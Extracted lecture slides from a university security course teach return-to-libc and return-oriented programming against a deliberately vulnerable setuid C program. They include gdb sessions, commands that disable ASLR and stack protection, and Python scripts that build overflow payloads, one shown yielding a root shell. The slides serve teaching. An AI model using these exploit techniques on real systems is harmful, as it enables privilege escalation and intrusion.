

CS 55: Security and Privacy

Return-to-libc and ROP

-EMAIL ACCOUNT SETUP-
TO VERIFY YOUR IDENTITY,
WE NEED TO ASK YOU A
QUESTION NOBODY ELSE
COULD ANSWER.



Q: WHERE ARE THE
BODIES BURIED?

A: BEHIND THE




BEHIND THE
... NICE TRY.



Agenda


- 
1. Theory
 2. Overcoming challenges
 3. Making a return-to-libc attack
 4. Return-Oriented Programming (ROP)

Review: Buffer overflow attack overwrites return address to point to code on stack



A non-executable stack can defeat code injected onto stack

Stack after the buffer copy




If the stack is marked as non-executable, code on the stack will not run

```
# make stack executable      Works, get shell
$ gcc -z execstack -fno-stack-protector stack.c
$ a.out
#
# exit
# make stack non-executable (default)
$ gcc -z noexecstack -fno-stack-protector stack.c
$ a.out
Segmentation fault
```

Seg faults, stack
not executable

Idea: Instead of jumping to code on stack, jump to code located elsewhere

Stack after the buffer copy



If the stack is marked as non-executable,
code on the stack will not run


Code we control

Library code

OS kernel code

libc library has many functions we can call, ultimately want to get a shell

Stack after the buffer copy



If the stack is marked as non-executable, code on the stack will not run

Code we control

Library code


OS kernel code

libc has over 1,000 functions, almost always loaded because C programs need it

We want to call a function to get a shell, use *system* function (`system("/bin/sh")`)

libc library has many functions we can call, ultimately want to get a shell


Stack after the buffer copy



If the stack is marked as non-executable, code on the stack will not run

Two steps

1. Overwrite *return addr* with *system* function address (so *libc* function address, not stack)
2. Load parameters so *system* runs code we desire



libc has over 1,000 functions, almost always loaded because C programs need it

We want to call a function to get a shell, use *system* function (`system("/bin/sh")`)

Agenda

1. Theory
2. Overcoming challenges
3. Making a return-to-libc attack
4. Return-Oriented Programming (ROP)

We must overcome three main challenges to implement the attack in practice

1. Find the address of the *system()* function
2. Find address of “/bin/sh” in memory
3. Construct arguments for *system()* call

Challenge 1: Find the address of the *system* function using gdb

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```

```
# compile with non-executable stack  
$ gcc -g -fno-stack-protector -z noexecstack -o stack stack.c  
  
#turn off address randomization  
$ sudo sysctl -w kernel.randomize_va_space=0  
kernel.randomize_va_space = 0  
  
#give root privileges  
$ sudo chown root stack  
$ sudo chmod 4755 stack
```

Challenge 1: Find the address of the *system* function using gdb

```
$ gdb -q stack  
Reading symbols from stack...done.  
gdb-peda$ b main  
Breakpoint 1 at 0x804856c: file stack.c, line 17.  
gdb-peda$ run  
Starting program: /home/seed/src/return_to_libc/stack  
<snip>
```

Set breakpoint at *main*

Run to ensure libc loaded into memory

Challenge 1: Find the address of the *system* function using gdb

```
$ gdb -q stack  
Reading symbols from stack...done.  
gdb-peda$ b main  
Breakpoint 1 at 0x804856c: file stack.c, line 17.  
gdb-peda$ run  
Starting program: /home/seed/src/return_to_libc/stack  
<snip>  
gdb-peda$ p system  
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
```

Set breakpoint at *main*

Run to ensure libc loaded into memory

Print system address

libc address

Challenge 1: Find the address of the *system* function using gdb

Note: must debug the
vulnerable program

```
$ gdb -q stack
```

Reading symbols from stack...done.

```
gdb-peda$ b main
```

Set breakpoint at *main*

```
Breakpoint 1 at 0x804856c: file stack.c, line 17.
```

```
gdb-peda$ run
```

Run to ensure libc loaded into memory

```
Starting program: /home/seed/src/return_to_libc/stack
```

<snip>

```
gdb-peda$ p system
```

Print system address

libc address

```
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
```

```
gdb-peda$ p exit
```

```
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

```
gdb-peda$ quit
```

Can also get addresses
of other functions

For the same program,
address are always the
same if ASLR is off!

Challenge 2: Find address of “/bin/sh” in memory using an environment variable

envaddr.c

```
$ export MYSHELL="/bin/sh"
```

Set environment variable *MYSHELL*

```
int main() {
    char *shell = (char *)getenv("MYSHELL");

    if(shell){
        printf(" Value: %s\n", shell);
        printf(" Address: %x\n", (unsigned int)shell);
    }
}
```

Read environment variable
MYSHELL and get its address

```
$ gcc envaddr.c -o env55
$ env55
Value: /bin/sh
Address: bffffdf1
```

Compile and run to test

Now if run vulnerable program (stack), */bin/sh* in same address

But name of *env55* must be same length as stack for memory consistency to hold

Before tackling Challenge 3, we must understand how functions are called

prog.c

```
void foo(int x) {  
    int a;  
    a = x;  
}
```

```
void bar() {  
    int b = 5;  
    foo(b);  
}
```


```
void main() {  
    bar();  
}
```

```
$ gcc -S prog.c  
$ cat prog.s
```

foo:

Function prolog

pushl	%ebp
movl	%esp, %ebp
subl	\$16, %esp
movl	8(%ebp), %eax
movl	%eax, -4(%ebp)
leave	
ret	




A standard function prolog runs before the body of the function; first pushes %ebp

prog.c

```
void foo(int x) { ←  
    int a;  
    a = x;  
}  
  
void bar() {  
    int b = 5;  
    foo(b);  
}  
  
void main() {  
    bar();  
}
```

Function prolog

foo:	pushl %ebp	Push current %ebp on to top of stack (bar's %ebp)
	movl %esp, %ebp	
	subl \$16, %esp	
	movl 8(%ebp), %eax	
	movl %eax, -4(%ebp)	
	leave	
	ret	
	...	



```
$ gcc -S prog.c  
$ cat prog.s
```

Prolog next sets %ebp = %esp


prog.c

```
void foo(int x) { ←  
    int a;  
    a = x;  
}  
  
void bar() {  
    int b = 5;  
    foo(b);  
}  
  
void main() {  
    bar();  
}
```

Function prolog

foo:	pushl %ebp	Push current %ebp on to top of stack (bar's %ebp)
	movl %esp, %ebp	Set %ebp pointer to top of stack (%esp)
	subl \$16, %esp	
	movl 8(%ebp), %eax	
	movl %eax, -4(%ebp)	
	leave	
	ret	

...



```
$ gcc -S prog.c  
$ cat prog.s
```

Then makes room for local variables

prog.c

```
void foo(int x) {  
    int a; ←  
    a = x;  
}
```


```
void bar() {  
    int b = 5;  
    foo(b);  
}
```

```
void main() {  
    bar();  
}
```

```
$ gcc -S prog.c  
$ cat prog.s
```

Function prolog

foo:	pushl %ebp	Push current %ebp on to top of stack (bar's %ebp)
	movl %esp, %ebp	Set %ebp pointer to top of stack (%esp)
	subl \$16, %esp	Make space on stack for local variable
	movl 8(%ebp), %eax	
	movl %eax, -4(%ebp)	
	leave	
	ret	



The function body runs after the prolog is complete


prog.c

```
void foo(int x) {  
    int a;  
    a = x; ←  
}
```

```
void bar() {  
    int b = 5;  
    foo(b);  
}
```

```
void main() {  
    bar();  
}
```

```
$ gcc -S prog.c  
$ cat prog.s
```



A standard function epilog runs after the function's body completes

prog.c

```
void foo(int x) {
```

```
    int a;
```

```
    a = x;
```

```
}
```

```
void bar() {
```

```
    int b = 5;
```

```
    foo(b);
```


```
}
```

```
void main() {
```

```
    bar();
```

```
}
```

```
$ gcc -S prog.c  
$ cat prog.s
```



Move the stack pointer to frame pointer (essentially removing local variables)


prog.c

```
void foo(int x) {  
    int a;  
    a = x;  
}
```

```
void bar() {  
    int b = 5;  
    foo(b);  
}
```

```
void main() {  
    bar();  
}
```


```
$ gcc -S prog.c  
$ cat prog.s
```



Then loads frame pointer with calling function's frame pointer

prog.c

```
void foo(int x) {  
    int a;  
    a = x;  
}  
  
void bar() {  
    int b = 5;  
    foo(b);  
}  
  
void main() {  
    bar();  
}
```




```
$ gcc -S prog.c  
$ cat prog.s
```

Finally, the epilog moves the stack pointer up and starts running at the return address

prog.c

```
void foo(int x) {  
    int a;  
    a = x;  
}  
  
void bar() {  
    int b = 5;  
    foo(b);  
}  
  
void main() {  
    bar();  
}
```




```
$ gcc -S prog.c  
$ cat prog.s
```

Challenge 3: Construct arguments for *system()* call

stack.c


```
int foo(char *str) { ←  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```



Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str); ←  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```



After *foo()*
prolog

Overflow to
write *system*
function address
in *return addr*

Challenge 3: Construct arguments for *system()* call

stack.c


```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);
```

```
    return 1;  
}
```

```
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;
```

```
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);
```

```
    printf("Returned Properly\n");  
    return 1;  
}
```



foo epilog

```
movl %ebp, %esp  
pop %ebp  
ret
```


Run epilog

Set %esp=%ebp

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```



foo epilog

movl %ebp, %esp
pop %ebp
ret

Run epilog

Set %esp=%ebp


Load %ebp with buffer[100]
Move %esp up

Note: where %ebp points doesn't matter, will replace soon

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```



foo epilog

movl %ebp, %esp
pop %ebp
ret

Run epilog

Set %esp=%ebp

Load %ebp with buffer[100]
Move %esp up

Start running at system addr
%esp moves up

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {
    char buffer[100];


    /* buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv) {
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}
```




system prolog

pushl	%ebp
movl	%esp, %ebp
subl	\$16, %esp

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```




system prolog

```
pushl  %ebp  
movl  %esp, %ebp  
subl  $16, %esp
```

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);  
  
    return 1;  
}  
  
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;  
  
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);  
  
    printf("Returned Properly\n");  
    return 1;  
}
```



system prolog
pushl %ebp
movl %esp, %ebp
subl \$16, %esp

Challenge 3: Construct arguments for *system()* call

stack.c


```
int foo(char *str) {  
    char buffer[100];  
  
    /* buffer overflow problem */  
    strcpy(buffer, str);
```

```
    return 1;  
}
```

```
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;
```

```
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);
```

```
    printf("Returned Properly\n");  
    return 1;  
}
```



Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];
```

/ buffer overflow problem */*
strcpy(buffer, str);

return 1;

}


```
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;
```

```
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);
```

```
    printf("Returned Properly\n");  
return 1;
```

So, when overflowing buffer put system's parameters at %ebp+8 (which is the original %ebp+12)

Original
%ebp



Normally
return addr
prev %ebp

Also, if system's
return address is
not valid,
program will
crash when
system returns

system prolog
pushl %ebp
movl %esp, %ebp
subl \$16, %esp

Fill return addr
(currently str)
with address of
exit function

Challenge 3: Construct arguments for *system()* call

stack.c

```
int foo(char *str) {  
    char buffer[100];
```

/ buffer overflow problem */*
strcpy(buffer, str);

return 1;

}


```
int main(int argc, char **argv) {  
    char str[400];  
    FILE *badfile;
```

```
    badfile = fopen("badfile", "r");  
    fread(str, sizeof(char), 300, badfile);  
    foo(str);
```

```
    printf("Returned Properly\n");  
    return 1;
```

}

So, when overflowing buffer put system's parameters at %ebp+8 (which is the original %ebp+12)



Normally
return addr
prev %ebp

Also, if system's
return address is
not valid,
program will
crash when
system returns

system prolog
pushl %ebp
movl %esp, %ebp
subl \$16, %esp

Fill return addr
(currently str)
with address of
exit function

Notice that %ebp increases by 4 after call to *system*
We will use that idea in ROP!

Agenda

1. Theory
2. Overcoming challenges
-  3. Making a return-to-libc attack
4. Return-Oriented Programming (ROP)

Find the offset from the start of buffer to %ebp

```
# compile vulnerable program and clear badfile  
$ gcc -fno-stack-protector -z noexecstack -g -o stack_dbg stack.c  
$ touch badfile
```

#debug to find offset from buffer to ebp

```
$ gdb -q stack_dbg
```

Reading symbols from stack_dbg...done.

```
gdb-peda$ b foo
```

Breakpoint 1 at 0x80484c1: file stack.c, line 11.

```
gdb-peda$ run
```

Starting program: /home/seed/src/return_to_libc/stack_dbg

<snip>

```
gdb-peda$ p $ebp
```

\$1 = (void *) 0xbfffeb68

```
gdb-peda$ p &buffer
```


\$2 = (char (*)[100]) 0xbfffeafc

```
gdb-peda$ p/d 0xbfffeb68 - 0xbfffeafc
```

\$3 = 108 ←

```
gdb-peda$ quit
```

108 bytes from start
of buffer to %ebp



Construct badfile to overwrite return addr, exit, and params to get root shell

exploit_libc.py

```
#!/usr/bin/python3  
import sys
```

Note: no malicious code because not pushing code on stack, stack is not executable!

Fill content with non-zero values

```
content = bytearray(0xaa for i in range(300))
```

Get from environment variable

```
sh_addr = 0xbffffdf1 # address of "/bin/sh" from slide 15
```

```
content[120:124] = (sh_addr).to_bytes(4,byteorder='little')
```

exit() function will allow code to exit gracefully, find with gdb

```
exit_addr = 0xb7e369d0 # address of exit() from slide 14
```

```
content[116:120] = (exit_addr).to_bytes(4,byteorder='little')
```

Address of system() function found with gdb

```
system_addr = 0xb7e42da0 # address of system() from slide 14
```

```
content[112:116] = (system_addr).to_bytes(4,byteorder='little')
```

Save content to a file

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```

Write badfile to disk

Construct badfile to overwrite return addr, exit, and params to get root shell

exploit_libc.py

```
#!/usr/bin/python3
```

```
import sys
```

```
# Fill content with non-zero values
```

```
content = bytearray(0xaa for i in range(300))
```

```
sh_addr = 0xbffffdf1 # address of "/bin/sh" from slide 15
```

```
content[120:124] = (sh_addr).to_bytes(4,byteorder='little')
```

```
exit_addr = 0xb7e369d0 # address of exit() from slide 14
```

```
content[116:120] = (exit_addr).to_bytes(4,byteorder='little')
```


```
system_addr = 0xb7e42da0 # address of system() from slide 14
```

```
content[112:116] = (system_addr).to_bytes(4,byteorder='little')
```

```
# Save content to a file
```

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```



Construct badfile to overwrite return addr, exit, and params to get root shell

exploit_libc.py

```
#!/usr/bin/python3
```

```
import sys
```

Fill content with non-zero values

```
content = bytearray(0xaa for i in range(300))
```

```
sh_addr = 0xbffffdf1 # address of "/bin/sh" from slide 15
```

```
content[120:124] = (sh_addr).to_bytes(4,byteorder='little')
```

```
exit_addr = 0xb7e369d0 # address of exit() from slide 14
```

```
content[116:120] = (exit_addr).to_bytes(4,byteorder='little')
```


```
system_addr = 0xb7e42da0 # address of system() from slide 14
```

```
content[112:116] = (system_addr).to_bytes(4,byteorder='little')
```

Save content to a file

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```



foo returns
to system

Where
system will
return

Exit
gracefully

Construct badfile to overwrite return addr, exit, and params to get root shell

exploit_libc.py

```
#!/usr/bin/python3
```

```
import sys
```

```
# Fill content with non-zero values
```

```
content = bytearray(0xaa for i in range(300))
```

```
sh_addr = 0xbffffdf1 # address of "/bin/sh" from slide 15
```

```
content[120:124] = (sh_addr).to_bytes(4,byteorder='little')
```

```
exit_addr = 0xb7e369d0 # address of exit() from slide 14
```

```
content[116:120] = (exit_addr).to_bytes(4,byteorder='little')
```

```
system_addr = 0xb7e42da0 # address of system() from slide 14
```

```
content[112:116] = (system_addr).to_bytes(4,byteorder='little')
```

```
# Save content to a file
```

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```

Reverse with:

sudo ln -sf /bin/dash /bin/sh

```
# create badfile
```

```
$ python3 exploit_libc.py
```

```
#use zsh to avoid bash user  
downgrade
```

```
$ sudo ln -sf /bin/zsh /bin/sh
```

```
# run attack
```

```
$ ./stack
```

```
# id
```

```
uid=1000(seed)
```

```
gid=1000(seed) euid=0(root)
```

```
groups=1000(seed)
```

**Got root shell,
even though
stack is non-
executable!**

Agenda

1. Theory
2. Overcoming challenges
3. Making a return-to-libc attack
4. Return-Oriented Programming (ROP)

Return-to-libc can only chain two functions together, with ROP we can chain more

In return-to-libc attacks, we can only chain two functions together
The idea can be generalized:

- Chain many functions together
- Chain blocks of code together
- Return to a new function, rather than caller

Generalized technique is called Return-Oriented Programming (ROP)


**Shacham showed we can also chain
chunks of functions together**

Example:

- We cheated to set symbolic link to *zsh* previously because root privileges are needed to set symbolic link
- If we can *setuid(0)* first, then we can get a root shell without needing root privileges (which we are trying to get!)



Realizing %ebp increases by 4 each call, we can chain returns to call multiple functions



We can save some time by getting function address from program rather than *gdb*

stack_rop.c

```
void bar() {  
    static int i = 0;  
    printf("The function bar() is invoked %d times!\n", ++i);  
}
```

bar() keeps track of how many times it was called via static int

```
int foo(char *str) {  
    char buffer[100];  
    unsigned int *ebp;  
  
    // Copy %ebp into variable ebp  
    asm("movl %%ebp, %0" : "=r" (ebp));
```

foo() prints important address (so we don't need to run *gdb*), then does a buffer overflow

```
printf("buffer[] address: 0x%.8x\n", (unsigned)buffer);  
printf("ebp address: 0x%.8x\n", (unsigned)ebp);  
printf("ebp - buffer is: %i\n", (unsigned)ebp - (unsigned)buffer);  
printf("exit addr: %p\n", dlsym(RTLD_NEXT, "exit"));  
printf("bar function address: 0x%.8x\n", (unsigned)bar);
```

main() (not shown) reads *badfile* as before, passes contents to *foo()*

```
/* The following statement has a buffer overflow problem */  
strcpy(buffer, str);  
  
return 1;
```

We can save some time by getting function address from program rather than *gdb*

stack_rop.c

```
void bar() {  
    static int i = 0;  
    printf("The function bar() is invoked %d times!\n");  
}  
  
int foo(char *str) {  
    char buffer[100];  
    unsigned int *ebp;  
  
    // Copy %ebp into variable ebp  
    asm("movl %%ebp, %0" : "=r" (ebp));  
  
    printf("buffer[] address: 0x%.8x\n", (unsigned)buffer);  
    printf("ebp address: 0x%.8x\n", (unsigned)ebp);  
    printf("ebp - buffer is: %i\n", (unsigned)ebp - (unsigned)buffer);  
    printf("exit addr: %p\n", dlsym(RTLD_NEXT, "exit"));  
    printf("bar function address: 0x%.8x\n", (unsigned)bar);  
  
    /* The following statement has a buffer overflow */  
    strcpy(buffer, str);  
  
    return 1;  
}
```

```
#create empty badfile (no overflow)  
$ rm badfile  
$ touch badfile
```

```
#compile (use -ldl flag!) and run to get addrs  
$ gcc stack_rop.c -o stack_rop -z noexecstack -fno-stack-protector -ldl  
$ ./stack_rop  
The '/bin/sh' string's address: 0xbffffde9  
buffer[] address: 0xbffffe4f8  
ebp address: 0xbffffe568  
ebp - buffer is: 112  
system addr: 0xb7d9fda0  
exit addr: 0xb7d939d0  
bar function address: 0x080485fb  
Returned Properly
```

Create badfile using addresses from stack_rop.c

exploit_rop.py

```
def tobytes (value):
    return (value).to_bytes(4,byteorder='little')
```

Addresses from stack_rop.c

```
bar_addr = 0x080485fb # Address of bar()
exit_addr = 0xb7d939d0 # Address of exit()
```

```
content = bytearray(0xaa for i in range(112))
content += tobytes(0xFFFFFFFF) # This value is not important here.
for i in range(10):
    content += tobytes(bar_addr)
```

```
# Invoke exit() to exit gracefully at the end
content += tobytes(exit_addr)
```

```
# Write the content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

```
# from stack_rop
```

The '/bin/sh' string's address: 0xbffffde9

buffer[] address: 0xbfffe4f8

ebp address: 0xbfffe568

ebp - buffer is: 112

system addr: 0xb7d9fd0

exit addr: 0xb7d939d0

bar function address: 0x080485fb

Create badfile using addresses from stack_rop.c

exploit_rop.py

```
def tobytes (value):
    return (value).to_bytes(4,byteorder='little')
```

```
bar_addr = 0x080485fb # Address of bar()
exit_addr = 0xb7d939d0 # Address of exit()
```

```
content = bytearray(0xaa for i in range(112))
content += tobytes(0xFFFFFFFF) # This value is not important here.
for i in range(10):
    content += tobytes(bar_addr)
```

```
# Invoke exit() to exit gracefully at the end
content += tobytes(exit_addr)
```

```
# Write the content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

from stack_rop

The '/bin/sh' string's address: 0xbffffde9
buffer[] address: 0xbfffe4f8
ebp address: 0xbfffe568
ebp - buffer is: 112
system addr: 0xb7d9fd0
exit addr: 0xb7d939d0
bar function address: 0x080485fb

112 is the difference between buffer and %ebp

Value stored is not important

Create badfile using addresses from stack_rop.c

exploit_rop.py

```
def tobytes (value):
    return (value).to_bytes(4,byteorder='little')
```

```
bar_addr = 0x080485fb # Address of bar()
exit_addr = 0xb7d939d0 # Address of exit()
```

```
content = bytearray(0xaa for i in range(112))
```

```
content += tobytes(0xFFFFFFFF) # This value is not important here.
```

```
for i in range(10):
```

```
    content += tobytes(bar_addr)
```

```
# Invoke exit() to exit gracefully at the end
```

```
content += tobytes(exit_addr)
```

```
# Write the content to a file
```

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```

```
# from stack_rop
```

```
The '/bin/sh' string's address: 0xbffffde9
```

```
buffer[] address: 0xbfffe4f8
```

```
ebp address: 0xbfffe568
```

```
ebp - buffer is: 112
```

```
system addr: 0xb7d9fd0
```

```
exit addr: 0xb7d939d0
```

```
bar function address: 0x080485fb
```



Caller's %ebp

Value is not important (we
aren't going back to caller)

Create badfile using addresses from stack_rop.c

exploit_rop.py

```
def tobytes (value):
    return (value).to_bytes(4,byteorder='little')
```

```
bar_addr = 0x080485fb # Address of bar()
exit_addr = 0xb7d939d0 # Address of exit()
```

```
content = bytearray(0xaa for i in range(112))
```

```
content += tobytes(0xFFFFFFFF) # This value is not important here.
```

```
for i in range(10):
```

```
    content += tobytes(bar_addr)
```

Overflow return addr with
bar() address 10 times

```
# Invoke exit() to exit gracefully at the end
```

```
content += tobytes(exit_addr)
```

```
# Write the content to a file
```

```
with open("badfile", "wb") as f:
```

```
f.write(content)
```

Write badfile

```
# from stack_rop
```

```
The '/bin/sh' string's address: 0xbffffde9
```

```
buffer[] address: 0xbfffe4f8
```


```
ebp address: 0xbfffe568
```

```
ebp - buffer is: 112
```

```
system addr: 0xb7d9fd0
```

```
exit addr: 0xb7d939d0
```

```
bar function address: 0x080485fb
```



Running stack_rop shows we can chain return calls together

```
$ python3 exploit_rop.py
```

```
$ ./stack_rop
```

```
The '/bin/sh' string's address: 0xbffffde9
```

```
buffer[] address: 0xbffffe4f8
```

```
ebp address: 0xbffffe568
```

```
ebp - buffer is: 112
```

```
system addr: 0xb7d9fd0
```

```
exit addr: 0xb7d939d0
```

```
bar function address: 0x080485fb
```

```
The function bar() is invoked 1 times!
```

```
The function bar() is invoked 2 times!
```

```
The function bar() is invoked 3 times!
```

```
The function bar() is invoked 4 times!
```

```
The function bar() is invoked 5 times!
```

```
The function bar() is invoked 6 times!
```

```
The function bar() is invoked 7 times!
```

```
The function bar() is invoked 8 times!
```

```
The function bar() is invoked 9 times!
```

```
The function bar() is invoked 10 times!
```

Might chain call to setuid(0), then overflow to get root shell

This example does not use parameters in chained calls, but it can be done with parameters

